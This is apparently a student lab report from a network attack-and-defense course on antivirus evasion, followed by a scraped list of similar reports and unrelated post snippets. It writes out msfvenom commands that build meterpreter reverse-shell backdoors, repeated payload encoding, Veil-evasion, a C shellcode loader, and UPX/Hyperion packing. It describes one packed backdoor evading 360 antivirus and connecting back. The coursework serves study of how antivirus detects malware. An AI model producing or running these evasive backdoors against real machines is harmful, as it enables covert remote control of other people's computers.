2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

一、实践内容

1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

1.1.1正确使用msf编码器

  • 尝试用msf编码器对后门程序进行多次编码,尝试降低被查杀概率

    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 55 -b ‘\x00’ LHOST=10.1.1.169 LPORT=5205 -f exe > met-encoded10.exe其中-e为编码,-i为编码次数,-b为规避坏字符。
    • 编码55次后得到win7中可以运行的可执行文件
    • 对编码55次的可执行文件扫描
    • win7中被查杀

1.1.2.msfvenom生成如jar之类的其他文件

  • 生成Java程序:msfvenom -p java/meterpreter/reverse_tcp lhost=10.1.1.169 lport=5205 x> 20165205_backdoor_java.jar将后门程序封装到jar包里,编写java程序时可以直接导入
  • win7中被查杀

  • 生成php文件:msfvenom -p php/meterpreter/reverse_tcp lhost=10.1.1.169 lport=5205 x> 20165205_backdoor.phpphp文件可以嵌入到HTML文件中,它是一种完全适应各种操作系统的文件

1.1.3veil-evasion

  • sudo apt-get install veil-evasion之后veil发现有很多包安装失败
  • 我在安装时没有自动安装Python,所以我需要手动安装sudo apt-get python,还有几个包也是需要自己用命令行下载的,安装好这些之后再打开veil,才是正常的界面
  • 输入use evasion进入到evasion tool

  • 可以看到相对于msf,veil的payload选项好像要少一些?
  • 用C语言重新编写Meterpreteruse c/meterpreter/rev_tcp.py
  • 设置反弹连接IP(KAIL的IP):set lhost kailip
  • 设置反弹连接端口:`set lport 5205
  • generate生成文件,并在下一个跳出的命令行处输入文件的名字

  • /var/lib/veil/output/compiled我们生成的文件就在这个文件夹下

  • 把这个文件复制到win7主机中:被查杀

1.1.4使用shellcode编程

  • 使用msf生成shellcode:msfvenom -p windows/meterpreter/reverse_http lhost=10.1.1.169 lport=5205 -f c
  • 创建文件5205_door.c,将unsigned char buf[]强制转换成函数

  • 编译:i686-w64-mingw32-g++ 5205_door.c -o 5205_door.exe
  • 对普通的后门进行检查

1.1.5加壳工具

  • 加壳:upx 5205_door.exe -o 5205door_upxed.exe

  • 加壳后放到win7中居然是安全的。

  • 对加壳文件进行检查

  • 加密壳Hyperion
    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/ hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入wine hyperion.exe -v 5205door_upxed.exe 5205door_upxed_Hyperion.exe
    • 对加密加壳文件扫描
    • 几乎一半的杀毒软件都可以杀出来

1.2通过组合应用各种技术实现恶意代码免杀

  • 首先在做加壳的时候就发现普通的加壳文件是可以躲过360杀毒的,做法是半手工的shellcode文件,用UPX加壳
  • 但是马上就会发现,过了一会,被判定为安全软件的后门程序就被检测成木马了,这是因为360的云技术,把我们的查杀结果上传到云进行比对,然后判断这是一个木马程序,然后这个木马程序就被全国联保了
  • 然后我在源代码里加入了隐藏程序窗口的代码,怎么说呢,也并没有好很多,最后我把360的云端上传技术关掉了,果然我的这个小木马活了下来

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 360版本:11.1.0.1001
  • 测试回连结果:可以查询对方文件目录

二、报告内容:

2.1基础问题回答

  1. 杀软是如何检测出恶意代码的?

    • 静态查杀

      • 特征码的检测:杀软通过比对目标文件与病毒库中代码的特征码来判断文件中是否含有恶意代码
    • 启发式查杀
      • 结合了虚拟机的一种查杀方式,先模拟执行这个文件,然后看看后果是否有异常
    • 基于行为查杀
      • 通过判断文件的行为来判断文件是否正常
    • 云查杀
      • 这一点是我从网上查到的,如果有不对,看到的同学之间指出来就好
      • 云查杀基于云共享特征库扫描,可以很及时地防范大规模的恶意代码攻击
  2. 免杀是做什么?
    • 通过改变代码,减少与特征库内代码碰撞的概率,来通过杀软的检测
  3. 免杀的基本方式
    • 代码变换
    • 加壳变换
    • 代码混淆
    • 加密技术
    • 等等

2.2实验总结与体会

本次实验中通过多种多样的方式,对我们的恶意代码进行“包装”企图逃过杀软的检测,但是结果告诉我们这很难,尤其是在这样一个网络与计算十分发达的时代,我做的加壳文件,当下没有被扫描为木马,但是他上传到云端,马上又被“打回原形”,进行全国联保了。我通过自己动手制作了属于自己的木马软件,其实还是很有成就感的,尤其是可以控制别人的电脑。
在安装veil的时候也是遇到了很多困难,但是我感觉大家都装的很顺利(笑哭)

2.3开启杀软能绝对防止电脑中恶意代码吗?

答案显然是不能,我们下载的盗版软件,无意点击的小广告网页,接触带病毒的U盘,感觉恶意代码还是很难去做到完全不会中招的呢。

2018-2019-2 20165205 网络攻防Exp3免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  2. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  3. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  4. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  5. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  6. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  7. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  8. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  9. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

随机推荐

  1. Matlab 如何/怎样 读取图片 显示图片 转换成灰度图

    % 读取图片 im = imread('路径') >> im = imread('ny.png'); % 显示图片 imshow(im) >> imshow(im) % 转换成 ...

  2. Spring(转载二)

    在网上看到一篇文章,感觉写得挺不错的,转载一下,本文转载自:http://blog.csdn.net/m13666368773/article/details/7802126 一. IoC理论的背景 ...

  3. usg6000

    USG6000密码恢复 1.如果某个管理员遗忘了密码,可以使用其它高权限的管理员账号登录设备,然后修改密码.例如,管理员admin1的密码遗忘,此时可以由管理员admin登录设备,然后修改admin1 ...

  4. robot framework中的返回值

    1.若想要再setup中有返回值,给后续的操作使用 A)在setup的关键词中需要的返回值,设置为global variable或者suit variable:如下图:但是在编译器中,会报错,但是执行 ...

  5. 下载jar包的网站

    http://mvnrepository.com/ http://findjar.com http://sourceforge.net/

  6. hnsdfz -- 6.21 -- day7

    yjq ! yjq ! 今天yjq,感觉yjq好赞啊,路转粉 恩因为题很好所以大致讲一下题解吧 a题是几天前吕老板讲过的…… 一列点上每个点有两个权值ai和bi,每个点可以任选其中一个,但是要求任意一 ...

  7. slb

    第一章 弹性负载均衡slb概要介绍 第一讲什么是弹性负载均衡slb 互联网应用的服务扩展   负载均衡诞生 slb的引出 slb产品介绍 负载均衡 server load balancer 是对多台云 ...

  8. tunnel sw

    tunnel sw openssh vpn httprltunnel BarbaTunnel ngrok Chisel https://github.com/jpillora/chisel/blob/ ...

  9. 第一章 XAML概览

    1.1 XAML是什么? XAML是eXtensible Application Markup Language的英文缩写,相应的中文名称为可扩展应用程序标记语言.也就是说在开发一个应用程序时,我们可 ...

  10. 闲话Pipeline In Maya

    在整个行业都在高呼“农业学大寨,流程学xx”的大背景下,你想推出一个新的更好的流程有着极大的难度. 在2014年的时候行业内大部分公司就有了资产的概念,会成立资产部门去专门创建资产,供后续环节多次重用 ...